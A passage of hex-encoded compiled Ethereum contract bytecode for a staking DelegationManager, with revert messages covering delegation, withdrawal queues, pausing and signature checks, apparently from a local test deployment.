2c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916148061103f5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614806113bb5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b6003816004